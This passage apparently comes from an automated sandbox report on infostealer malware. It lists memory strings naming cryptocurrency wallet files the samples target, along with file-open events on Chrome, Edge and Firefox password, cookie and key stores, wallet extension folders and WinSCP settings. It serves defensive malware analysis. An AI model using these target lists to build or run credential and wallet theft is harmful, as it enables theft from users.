Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 85746525a0.exe, 0000000B.00000003.2814280047.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: keystore
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Leaks process information
Source: global traffic TCP traffic: 192.168.2.4:49808 -> 185.121.15.192:80
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\key4.db
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\temporary\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\default\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings\key4.db
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\to-be-removed\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
